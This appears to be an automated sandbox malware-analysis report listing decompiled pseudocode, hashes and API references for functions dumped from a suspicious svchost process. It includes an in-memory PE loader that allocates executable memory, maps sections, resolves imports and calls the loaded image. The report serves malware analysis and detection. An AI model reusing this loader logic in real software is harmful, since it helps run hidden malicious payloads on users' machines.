Sleep.KERNELBASE(00000000), ref: 040013EF

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: a7db8480fdc823d777aef3822c45b88b551d9c425098c02d9d2f571069091408
Instruction ID: 9d74403c1c2c7bb1751bbbba9dc0b5917814bf527727232baae25755bbc2d242
Opcode Fuzzy Hash: a7db8480fdc823d777aef3822c45b88b551d9c425098c02d9d2f571069091408
Instruction Fuzzy Hash: 18011A30904208EBEB01CF98D494BEDBBB1FF44308F14C098E9496B381D379AA84CB81

Uniqueness

Uniqueness Score: -1.00%

Function 004011CD Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E004011CD(intOrPtr _a4, intOrPtr _a8, signed int _a16) {
				signed int _v8;
				signed int _t22;
				intOrPtr _t23;
				signed int _t26;
				intOrPtr _t33;
				intOrPtr* _t34;

				asm("pushad");
				_t33 =  *((intOrPtr*)(_a4 +  *((intOrPtr*)(_a4 + 0x3c)) + 0x80));
				if(_t33 != 0) {
					_t34 = _t33 + _a4;
					asm("cld");
					while(1) {
						_t23 =  *((intOrPtr*)(_t34 + 0xc));
						if(_t23 == 0) {
							break;
						}
						_t22 = LoadLibraryExA(_t23 + _a4, 0, 0);
						if(_t22 != 0) {
							_v8 = _t22;
							if( *_t34 == 0) {
							}
							while(1) {
								asm("lodsd");
								if(_t22 == 0) {
									break;
								}
								if((_t22 & 0x80000000) != 0) {
									_t26 = _t22 & 0x0000ffff;
								} else {
									_t26 = _t22 + _a4 + 2;
								}
								_t22 =  *((intOrPtr*)(_a8 + 0x29af9))(_v8, _t26);
								asm("stosd");
							}
							_t34 = _t34 + 0x14;
							continue;
						}
						goto L14;
					}
					_t22 = 1;
					_a16 = 1;
				}
				L14:
				asm("popad");
				return _t22;
			}

0x004011d3
0x004011e0
0x004011e4
0x004011e6
0x004011e9
0x004011ea
0x004011ea
0x004011ef
0x00000000
0x00000000
0x004011fc
0x00401204
0x00401206
0x0040120d
0x0040120d
0x0040121b
0x0040121b
0x0040121f
0x00000000
0x00000000
0x0040122b
0x00401235
0x0040122d
0x00401230
0x00401230
0x00401241
0x00401247
0x00401247
0x00401221
0x00000000
0x00401221
0x00000000
0x00401204
0x0040124a
0x0040124f
0x0040124f
0x00401253
0x00401253
0x00401255

APIs

LoadLibraryExA.KERNELBASE(?,00000000,00000000), ref: 004011FC

Memory Dump Source

Source File: 0000000A.00000002.558761324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1d8c67a6fd8a031ce9178923ff6fa604b01da3edc277bbd736844eb450087ab7
Instruction ID: 35013e2e2bdfb2c25cf3a4b33a37da36620c85c937569e224cb1d264aff8bf43
Opcode Fuzzy Hash: 1d8c67a6fd8a031ce9178923ff6fa604b01da3edc277bbd736844eb450087ab7
Instruction Fuzzy Hash: B5114872944205AFDF10CF44C8C0B9A37A4AF15354F2981B9EC19FB3A2D374EE148B99

Uniqueness

Uniqueness Score: -1.00%

Function 00401126 Relevance: 1.3, APIs: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00401126(void* _a4, intOrPtr _a8) {
				void* _v8;
				void* _t27;
				void* _t37;
				void* _t55;
				void* _t57;
				void* _t61;

				asm("pushad");
				_t55 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_t27 = VirtualAlloc( *(_t55 + 0x34),  *(_t55 + 0x50), 0x3000, 0x40);
				if(_t27 != 0) {
					L3:
					_v8 = _t27;
					asm("cld");
					memcpy(_v8, _a4,  *(_t55 + 0x54));
					_t57 = _t55;
					_push(_t57);
					_t58 = _t57 + 0xf8;
					asm("pushad");
					asm("cld");
					memcpy(_v8 +  *((intOrPtr*)(_t57 + 0x104)), _a4 +  *((intOrPtr*)(_t57 + 0x10c)),  *(_t58 + 0x10));
					asm("popad");
					asm("loop 0xffffffe5");
					_pop(_t61);
					E004011CD(_v8, _a8); // executed
					E00401258();
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x28)) + _v8))(_v8); // executed
				} else {
					_t27 =  *((intOrPtr*)(_a8 + 0x29afd))(0,  *(_t55 + 0x50), 0x3000, 0x40);
					if(_t27 != 0) {
						goto L3;
					} else {
					}
				}
				asm("popad");
				return _t37;
			}

0x0040112c
0x00401130
0x00401144
0x0040114c
0x0040116b
0x0040116b
0x0040116e
0x0040117b
0x0040117d
0x0040117e
0x00401185
0x00401197
0x0040119f
0x004011a0
0x004011a2
0x004011a6
0x004011a8
0x004011af
0x004011b7
0x004011c6
0x0040114e
0x00401163
0x00401167
0x00000000
0x00000000
0x00401169
0x00401167
0x004011c8
0x004011ca

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 00401144

Memory Dump Source

Source File: 0000000A.00000002.558761324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f46dcd975488781c9cddb351eca70577c1689cc1756a23961b888947e9d6707a
Instruction ID: 6f389262607e94f6ca6fd2432eff30f66c048e0178ed9f8f27be01fdfe11bbb9
Opcode Fuzzy Hash: f46dcd975488781c9cddb351eca70577c1689cc1756a23961b888947e9d6707a
Instruction Fuzzy Hash: 02115E32600615ABCB21DF64CD81B8BB7F4AF09324F144469AA1ABB691D771FA00DB88

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04016CD0 Relevance: 31.7, APIs: 21, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04016CD0(void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;

				_v8 = _a8;
				_v12 = _a12;
				_t117 = _v12;
				E04007010(__edi, _v8, 0, _v12);
				if(_a4 != 1) {
					if(_a4 != 0) {
						if(_a4 != 2) {
							if(_a4 != 3) {
								if(_a4 != 4) {
									if(_a4 != 5) {
										if(_a4 != 6) {
											if(_a4 != 7) {
												if(_a4 != 8) {
													if(_a4 != 0x10) {
														if(_a4 != 9) {
															if(_a4 != 0xa) {
																if(_a4 != 0xb) {
																	if(_a4 != 0xc) {
																		if(_a4 != 0xd) {
																			if(_a4 != 0xe) {
																				if(_a4 != 0xf) {
																					if(_a4 != 0x12) {
																						if(_a4 != 0x11) {
																							return E04008B48(_t117, _v8, _v12, 0x4273f8);
																						}
																						return E04008B48(_v8, _v8, _v12, 0x4273f0);
																					}
																					return E04008B48(_v12, _v8, _v12, 0x4273e8);
																				}
																				return E04008B48(_t117, _v8, _v12, 0x4273d8);
																			}
																			return E04008B48(_v8, _v8, _v12, 0x4273c8);
																		}
																		return E04008B48(_v12, _v8, _v12, 0x4273b4);
																	}
																	return E04008B48(_t117, _v8, _v12, 0x42739c);
																}
																return E04008B48(_v8, _v8, _v12, 0x427384);
															}
															return E04008B48(_v12, _v8, _v12, 0x427374);
														}
														return E04008B48(_t117, _v8, _v12, 0x42736c);
													}
													return E04008B48(_v8, _v8, _v12, 0x427360);
												}
												return E04008B48(_v12, _v8, _v12, 0x427358);
											}
											return E04008B48(_t117, _v8, _v12, 0x42734c);
										}
										return E04008B48(_v8, _v8, _v12, 0x427344);
									}
									return E04008B48(_v12, _v8, _v12, 0x427338);
								}
								return E04008B48(_t117, _v8, _v12, 0x427328);
							}
							return E04008B48(_v8, _v8, _v12, 0x42731c);
						}
						return E04008B48(_v12, _v8, _v12, 0x427310);
					}
					return E04008B48(_t117, _v8, _v12, 0x427300);
				}
				return E04008B48(_v8, _v8, _v12, 0x4272f4);
			}

0x04016cd9
0x04016cdf
0x04016ce2
0x04016cec
0x04016cf8
0x04016d18
0x04016d38
0x04016d58
0x04016d78
0x04016d98
0x04016db8
0x04016dd8
0x04016df8
0x04016e18
0x04016e38
0x04016e58
0x04016e78
0x04016e98
0x04016eb8
0x04016ed8
0x04016ef5
0x04016f12
0x04016f2f
0x00000000
0x04016f5a
0x00000000
0x04016f43
0x00000000
0x04016f26
0x00000000
0x04016f09
0x00000000
0x04016eec
0x00000000
0x04016ecc
0x00000000
0x04016eac
0x00000000
0x04016e8c
0x00000000
0x04016e6c
0x00000000
0x04016e4c
0x00000000
0x04016e2c
0x00000000
0x04016e0c
0x00000000
0x04016dec
0x00000000
0x04016dcc
0x00000000
0x04016dac
0x00000000
0x04016d8c
0x00000000
0x04016d6c
0x00000000
0x04016d4c
0x00000000
0x04016d2c
0x00000000

APIs

_memset.LIBCMT ref: 04016CEC
_strcpy_s.LIBCMT ref: 04016D07
_strcpy_s.LIBCMT ref: 04016D27

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _strcpy_s$_memset
String ID:
API String ID: 987253425-0
Opcode ID: 44218adf272bf707b1ed20d16bc8d9ad3aaffc81e79ba637950d93952a6c6a75
Instruction ID: 6ffbbe254bd13291fa03b93f874eca1d4a54b98d90e1905f46e8f856855b0833
Opcode Fuzzy Hash: 44218adf272bf707b1ed20d16bc8d9ad3aaffc81e79ba637950d93952a6c6a75
Instruction Fuzzy Hash: DC7172B6E04208FBDF50DF94EC818DEB7B4AB4A609F20C459F90976290D135BA48EB56

Uniqueness

Uniqueness Score: -1.00%

Function 040137A0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 358
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E040137A0(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				short _v20;
				intOrPtr _v24;
				char _v28;
				char _v30;
				short _v32;
				intOrPtr _v36;
				char _v40;
				short _v44;
				char _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v74;
				short _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v88;
				signed int _v92;
				char _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr* _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				void* _t211;
				void* _t213;
				void* _t215;
				signed int _t220;
				intOrPtr _t226;
				intOrPtr _t228;
				intOrPtr _t251;
				void* _t253;
				intOrPtr _t258;
				void* _t261;
				intOrPtr _t266;
				void* _t269;
				signed int _t275;
				void* _t277;
				intOrPtr _t370;
				void* _t373;
				void* _t374;
				signed int _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t380;
				void* _t382;
				void* _t384;
				void* _t385;
				void* _t386;

				_t374 = __esi;
				_t373 = __edi;
				_t277 = __ebx;
				_v16 =  *0x429024 ^ _t375;
				_v148 = __ecx;
				_v12 = 0;
				_v8 = 0x48;
				_v48 =  *0x426ec4;
				_v44 =  *0x426ec8;
				_v28 =  *0x426ecc;
				_v24 =  *0x426ed0;
				_v20 =  *0x426ed4;
				_v40 =  *0x426ed8;
				_v36 =  *0x426edc;
				_v32 =  *0x426ee0;
				_v30 =  *0x426ee2;
				while(_a4 != 0) {
					_v52 =  *((intOrPtr*)(_v148 + 0x10));
					if(_v52 < 0) {
						_v52 = 0;
					}
					if( *((intOrPtr*)( *_v148 + 0x2c)) > _v52) {
						_v60 = 0xffffffff;
						_v56 = 0;
						_v56 = 0;
						while(1) {
							_t334 = _v56;
							if(_v56 >=  *((intOrPtr*)( *_v148 + 0x2c))) {
								break;
							}
							_t370 =  *((intOrPtr*)( *_v148 + 0x28));
							_t275 = _v56;
							_t334 =  *((intOrPtr*)( *((intOrPtr*)(_t370 + _t275 * 4))));
							if( *((intOrPtr*)( *((intOrPtr*)(_t370 + _t275 * 4)))) != _v52) {
								_v56 = _v56 + 1;
								continue;
							}
							_v60 = _v56;
							break;
						}
						if(_v60 >= 0) {
							_t211 = E0401E5C0( *((intOrPtr*)(_a4 + 4)),  &_v48, 1);
							_t377 = _t376 + 0xc;
							if(_t211 == 0) {
								_t213 = E0401E5C0( *((intOrPtr*)(_a4 + 4)),  &_v28, 1);
								_t378 = _t377 + 0xc;
								if(_t213 == 0) {
									_t215 = E0401E5C0( *((intOrPtr*)(_a4 + 4)),  &_v40, 1);
									_t379 = _t378 + 0xc;
									if(_t215 == 0) {
										_v96 = 0;
										_t220 = E0401EA00(_t373,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 0x10)),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 0x14)),  &_v96);
										_t376 = _t379 + 0xc;
										_v92 = _t220;
										if(_v96 == 0 || _v92 <= 0) {
											L49:
											_t334 = 0;
											if(0 != 0) {
												continue;
											}
											goto L50;
										} else {
											asm("cdq");
											_v100 = _v92 + _v92 / 0x48 * 2;
											_t226 = E04020CE0(_v100);
											_t380 = _t376 + 4;
											_v132 = _t226;
											_v104 = _v132;
											_v56 = 0;
											_v108 = 0;
											while(_v56 < _v92) {
												if(_v56 > 0) {
													asm("cdq");
													if(_v56 % 0x48 == 0) {
														 *((char*)(_v104 + _v108)) = 0xd;
														 *((char*)(_v104 + _v108 + 1)) = 0xa;
														_v108 = _v108 + 2;
													}
												}
												 *((char*)(_v104 + _v108)) =  *((intOrPtr*)(_v96 + _v56));
												_v56 = _v56 + 1;
												_v108 = _v108 + 1;
											}
											_t228 = E04020CE0(8);
											_t376 = _t380 + 4;
											_v136 = _t228;
											if(_v136 == 0) {
												_v164 = 0;
											} else {
												_v164 = E0401F4E0(_v136);
											}
											_v12 = _v164;
											E0401FC90(_t277, _v12, _t373, _t374, _v104, _v100);
											if(_v104 != 0) {
												_v140 = _v104;
												E04020CC0(_v140);
												_t376 = _t376 + 4;
												_v104 = 0x666;
											}
											if(_v96 != 0) {
												_v144 = _v96;
												E04020CC0(_v144);
												_t376 = _t376 + 4;
												_v96 = 0x666;
											}
											goto L49;
										}
									}
									_v88 =  *0x426ee4;
									_v84 =  *0x426ee8;
									_v80 =  *0x426eec;
									_v76 =  *0x426ef0;
									_v74 =  *0x426ef2;
									_v64 = 0x1a;
									_v120 = E04020CE0(_v64);
									_v72 = _v120;
									E04007010(_t373, _v72, 0, _v64);
									_t382 = _t379 + 0x10;
									_v68 =  *((intOrPtr*)(_v148 + 0x10));
									if(_v68 < 0) {
										_v68 = 0;
									}
									 *0x4251f8(_v72, _v64 - 1,  &_v88, _v68);
									_t251 = E04020CE0(8);
									_t384 = _t382 + 0x14;
									_v124 = _t251;
									if(_v124 == 0) {
										_v160 = 0;
									} else {
										_v160 = E0401F4E0(_v124);
									}
									_v12 = _v160;
									_t253 = E040070A0(_v72);
									_t376 = _t384 + 4;
									E0401FC90(_t277, _v12, _t373, _t374, _v72, _t253);
									if(_v72 != 0) {
										_v128 = _v72;
										E04020CC0(_v128);
										_t376 = _t376 + 4;
										_v72 = 0x666;
									}
									goto L49;
								}
								_t258 = E04020CE0(8);
								_t385 = _t378 + 4;
								_v116 = _t258;
								if(_v116 == 0) {
									_v156 = 0;
								} else {
									_v156 = E0401F4E0(_v116);
								}
								_v12 = _v156;
								_t261 = E040070A0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 8)));
								_t376 = _t385 + 4;
								E0401FC90(_t277, _v12, _t373, _t374,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 8)), _t261);
								goto L49;
							}
							_t266 = E04020CE0(8);
							_t386 = _t377 + 4;
							_v112 = _t266;
							if(_v112 == 0) {
								_v152 = 0;
							} else {
								_v152 = E0401F4E0(_v112);
							}
							_v12 = _v152;
							_t269 = E040070A0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 4)));
							_t376 = _t386 + 4;
							E0401FC90(_t277, _v12, _t373, _t374,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 4)), _t269);
							goto L49;
						}
						goto L50;
					} else {
						L50:
						return E04006C8C(_v12, _t277, _v16 ^ _t375, _t334, _t373, _t374);
					}
				}
				goto L50;
			}

0x040137a0
0x040137a0
0x040137a0
0x040137b0
0x040137b3
0x040137b9
0x040137c0
0x040137cc
0x040137d6
0x040137e0
0x040137e8
0x040137f2
0x040137fc
0x04013804
0x0401380e
0x04013818
0x0401381b
0x0401382f
0x04013836
0x04013838
0x04013838
0x0401384d
0x04013854
0x0401385b
0x04013862
0x04013874
0x0401387c
0x04013882
0x00000000
0x00000000
0x0401388c
0x0401388f
0x04013895
0x0401389a
0x04013871
0x00000000
0x04013871
0x0401389f
0x00000000
0x0401389f
0x040138aa
0x040138be
0x040138c3
0x040138c8
0x0401394d
0x04013952
0x04013957
0x040139dc
0x040139e1
0x040139e6
0x04013aef
0x04013b24
0x04013b29
0x04013b2c
0x04013b33
0x04013c70
0x04013c70
0x04013c72
0x00000000
0x00000000
0x00000000
0x04013b43
0x04013b46
0x04013b54
0x04013b5b
0x04013b60
0x04013b63
0x04013b69
0x04013b6c
0x04013b73
0x04013b7a
0x04013b86
0x04013b8b
0x04013b95
0x04013b9d
0x04013ba6
0x04013bb0
0x04013bb0
0x04013b95
0x04013bc1
0x04013bc9
0x04013bd2
0x04013bd2
0x04013bd9
0x04013bde
0x04013be1
0x04013bee
0x04013c03
0x04013bf0
0x04013bfb
0x04013bfb
0x04013c13
0x04013c21
0x04013c2a
0x04013c2f
0x04013c3c
0x04013c41
0x04013c44
0x04013c44
0x04013c4f
0x04013c54
0x04013c61
0x04013c66
0x04013c69
0x04013c69
0x00000000
0x04013c4f
0x04013b33
0x040139f1
0x040139fa
0x04013a03
0x04013a0c
0x04013a16
0x04013a19
0x04013a2c
0x04013a32
0x04013a3f
0x04013a44
0x04013a50
0x04013a57
0x04013a59
0x04013a59
0x04013a73
0x04013a7e
0x04013a83
0x04013a86
0x04013a8d
0x04013a9f
0x04013a8f
0x04013a97
0x04013a97
0x04013aaf
0x04013ab6
0x04013abb
0x04013ac6
0x04013acf
0x04013ad4
0x04013adb
0x04013ae0
0x04013ae3
0x04013ae3
0x00000000
0x04013aea
0x0401395b
0x04013960
0x04013963
0x0401396a
0x0401397c
0x0401396c
0x04013974
0x04013974
0x0401398c
0x040139a4
0x040139a9
0x040139c5
0x00000000
0x040139c5
0x040138cc
0x040138d1
0x040138d4
0x040138db
0x040138ed
0x040138dd
0x040138e5
0x040138e5
0x040138fd
0x04013915
0x0401391a
0x04013936
0x00000000
0x04013936
0x00000000
0x0401384f
0x04013c78
0x04013c88
0x04013c88
0x0401384d
0x00000000

Strings

H, xrefs: 040137C0

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 1096477fb5db0565c6f2c143114047529f305e68e65e65c6dd9e52626ccf8a70
Instruction ID: 67b441bc6219ad25058a7dc751711c58666b968fd0b66db19d5699bc980d0709
Opcode Fuzzy Hash: 1096477fb5db0565c6f2c143114047529f305e68e65e65c6dd9e52626ccf8a70
Instruction Fuzzy Hash: 8FF119B8E00218DFEB14DFA8D990B9DB7B1FF48308F248199D909AB361D771A985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04013F50 Relevance: 12.4, APIs: 8, Instructions: 396
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E04013F50(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v21;
				char _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				signed char _v73;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				char _v132;
				char _v136;
				void* _t223;
				void* _t224;
				void* _t231;
				intOrPtr _t237;
				void* _t260;
				intOrPtr _t267;
				signed int _t283;
				intOrPtr _t286;
				void* _t292;
				void* _t394;
				void* _t395;
				void* _t396;

				_t395 = __esi;
				_t394 = __edi;
				_t292 = __ebx;
				_v120 = __ecx;
				_v8 = 0;
				while(_a4 != 0 && _a8 >= 0 && _a12 >= 0xffffffff) {
					if(_a8 <=  *((intOrPtr*)(_a4 + 4)) - 1) {
						if(_a12 <=  *((intOrPtr*)(_a4 + 4)) - _a8) {
							if(_a12 < 0) {
								_a12 =  *((intOrPtr*)(_a4 + 4)) - _a8;
							}
							_v12 =  *_a4;
							_v16 = _a8 + _a12;
							_v20 = _a8;
							while(_v20 < _v16) {
								_v21 = 0;
								_t223 = E040072C4(_v12 + _v20, 0x426c54, 2);
								_t396 = _t396 + 0xc;
								if(_t223 != 0) {
									_t224 = E040072C4(_v12 + _v20, 0x426c50, 2);
									_t396 = _t396 + 0xc;
									if(_t224 != 0) {
										L74:
										_v20 = _v20 + 1;
										continue;
									} else {
										if((_a20 & 0x000000ff) != 0) {
											_v32 = 0;
											while(_v32 < 4) {
												_t286 = E040070A0( *((intOrPtr*)(0x429f40 + _v32 * 4)));
												_t396 = _t396 + 4;
												_v36 = _t286;
												_push(_v36);
												_push( *((intOrPtr*)(0x429f40 + _v32 * 4)));
												_t50 = _v20 + 2; // 0x2
												_push(_v12 + _t50);
												if( *0x4251fc() != 0) {
													_v32 = _v32 + 1;
													continue;
												} else {
													_v21 = 1;
												}
												goto L24;
											}
										}
										L24:
										if((_a16 & 0x000000ff) == 1 && (_v21 & 0x000000ff) == 0 && _v20 + 6 < _v16) {
											_t59 = _v20 + 2; // 0x2
											_t283 =  *0x4251fc(_v12 + _t59, 0x426cc8, 6);
											asm("sbb eax, eax");
											_v21 =  ~_t283 + 1;
										}
										_v28 = 0;
										if((_v21 & 0x000000ff) == 0) {
											_v28 = E04013F50(_t292, _v120, _t394, _t395, _a4, _v20 + 2, 0xffffffff, _a16 & 0x000000ff, _a20 & 0x000000ff);
										}
										if(_v28 == 0) {
											_v40 = _v20 + 2;
											while(_v40 < _v16) {
												_t231 = E040072C4(_v12 + _v40, 0x426c54, 2);
												_t396 = _t396 + 0xc;
												if(_t231 != 0) {
													L69:
													if(_v8 == 0) {
														_v40 = _v40 + 1;
														continue;
													} else {
													}
												} else {
													if((_v21 & 0x000000ff) == 0) {
														_t86 = _v20 + 2; // 0x2
														_v52 = _v12 + _t86;
														_v44 = _v40 - _v20 + 2;
														_v48 = E04011440(_v120, _v52, _v44);
														if(_v48 <= 0xffffffff) {
															_t237 = E04020CE0(0x38);
															_t396 = _t396 + 4;
															_v108 = _t237;
															if(_v108 == 0) {
																_v132 = 0;
															} else {
																_v132 = E04010CD0(_v108);
															}
															_v84 = _v132;
															_t197 = _v20 + 2; // 0x2
															if((E040111A0(_t292, _v84, _t394, _t395, _v12 + _t197, _v40 - _v20 + 2, _v20, _v40 + 2 - _v20) & 0x000000ff) == 0) {
																if(_v84 != 0) {
																	_v116 = _v84;
																	_v112 = _v116;
																	if(_v112 == 0) {
																		_v136 = 0;
																	} else {
																		_v136 = E04006780(_v112, 1);
																	}
																	_v84 = 0x666;
																}
																goto L69;
															} else {
																_v8 = _v84;
															}
														} else {
															_v64 = E040070A0( *((intOrPtr*)(0x429f28 + _v48 * 4)));
															_v60 = _v64 + 4;
															_v88 = E04020CE0(_v60 + 1);
															_v56 = _v88;
															_push(2);
															E04006CA0(_t292, _t394, _t395, _v56, 0x426c50);
															_push(_v64);
															E04006CA0(_t292, _t394, _t395, _v56 + 2,  *((intOrPtr*)(0x429f28 + _v48 * 4)));
															_push(2);
															E04006CA0(_t292, _t394, _t395, _v56 + _v64 + 2, 0x426c54);
															_t396 = _t396 + 0x2c;
															 *((char*)(_v56 + _v60)) = 0;
															_v68 = _v40 + 2;
															while(_v68 < _v16 - _v60) {
																_t260 = E040072C4(_v12 + _v68, _v56, _v60);
																_t396 = _t396 + 0xc;
																if(_t260 != 0) {
																	L55:
																	_v68 = _v68 + 1;
																	continue;
																} else {
																	_v73 = 0 | _v48 == 0x00000005;
																	_v72 = E04013F50(_t292, _v120, _t394, _t395, _a4, _v40 + 2, _v68 - _v40 + 2, _v73 & 0x000000ff, _a20 & 0x000000ff);
																	if(_v72 == 0) {
																		_t267 = E04020CE0(0x38);
																		_t396 = _t396 + 4;
																		_v92 = _t267;
																		if(_v92 == 0) {
																			_v124 = 0;
																		} else {
																			_v124 = E04010CD0(_v92);
																		}
																		_v80 = _v124;
																		_t160 = _v40 + 2; // 0x2
																		if((E04010D70(_t292, _v80, _t394, _t395,  *((intOrPtr*)(0x429f10 + _v48 * 4)), _v12 + _t160, _v68 - _v40 + 2, _v20, _v68 + _v60 - _v20) & 0x000000ff) == 0) {
																			if(_v80 != 0) {
																				_v100 = _v80;
																				_v96 = _v100;
																				if(_v96 == 0) {
																					_v128 = 0;
																				} else {
																					_v128 = E04006780(_v96, 1);
																				}
																				_v80 = 0x666;
																			}
																			goto L55;
																		} else {
																			_v8 = _v80;
																		}
																	} else {
																		_v8 = _v72;
																	}
																}
																break;
															}
															if(_v56 != 0) {
																_v104 = _v56;
																E04020CC0(_v104);
																_t396 = _t396 + 4;
																_v56 = 0x666;
															}
															goto L69;
														}
													} else {
														_v20 = _v40 + 2;
													}
												}
												break;
											}
											if(_v8 == 0) {
												goto L74;
											} else {
											}
										} else {
											_v8 = _v28;
										}
									}
								} else {
								}
								break;
							}
							if(0 != 0) {
								continue;
							}
						} else {
						}
					} else {
					}
					L76:
					return _v8;
				}
				goto L76;
			}

0x04013f50
0x04013f50
0x04013f50
0x04013f59
0x04013f5c
0x04013f63
0x04013f86
0x04013f99
0x04013fa4
0x04013faf
0x04013faf
0x04013fb7
0x04013fc0
0x04013fc6
0x04013fd4
0x04013fe0
0x04013ff2
0x04013ff7
0x04013ffc
0x04014011
0x04014016
0x0401401b
0x0401443e
0x04013fd1
0x00000000
0x04014021
0x04014027
0x04014029
0x0401403b
0x0401404c
0x04014051
0x04014054
0x0401405a
0x04014065
0x0401406c
0x04014070
0x04014079
0x04014038
0x00000000
0x0401407b
0x0401407b
0x0401407b
0x00000000
0x04014079
0x0401403b
0x04014083
0x0401408a
0x040140ac
0x040140b1
0x040140b9
0x040140be
0x040140be
0x040140c1
0x040140ce
0x040140ef
0x040140ef
0x040140f6
0x0401410e
0x0401411c
0x04014136
0x0401413b
0x04014140
0x04014429
0x0401442d
0x04014119
0x00000000
0x00000000
0x0401442f
0x04014146
0x0401414c
0x04014162
0x04014166
0x04014174
0x04014187
0x0401418e
0x04014385
0x0401438a
0x0401438d
0x04014394
0x040143a3
0x04014396
0x0401439e
0x0401439e
0x040143ad
0x040143d0
0x040143e2
0x040143f2
0x040143f7
0x040143fd
0x04014404
0x04014418
0x04014406
0x04014410
0x04014410
0x04014422
0x04014422
0x00000000
0x040143e4
0x040143e7
0x040143e7
0x04014194
0x040141a7
0x040141b0
0x040141c2
0x040141c8
0x040141cb
0x040141d6
0x040141e1
0x040141f4
0x040141fc
0x0401420e
0x04014213
0x0401421c
0x04014225
0x04014233
0x04014251
0x04014256
0x0401425b
0x0401435a
0x04014230
0x00000000
0x04014261
0x0401426a
0x04014296
0x0401429d
0x040142b1
0x040142b6
0x040142b9
0x040142c0
0x040142cf
0x040142c2
0x040142ca
0x040142ca
0x040142d9
0x040142fc
0x04014319
0x04014329
0x0401432e
0x04014334
0x0401433b
0x0401434c
0x0401433d
0x04014347
0x04014347
0x04014353
0x04014353
0x00000000
0x0401431b
0x0401431e
0x0401431e
0x0401429f
0x040142a2
0x040142a2
0x0401429d
0x00000000
0x0401425b
0x04014363
0x04014368
0x0401436f
0x04014374
0x04014377
0x04014377
0x00000000
0x0401437e
0x0401414e
0x04014154
0x04014154
0x0401414c
0x00000000
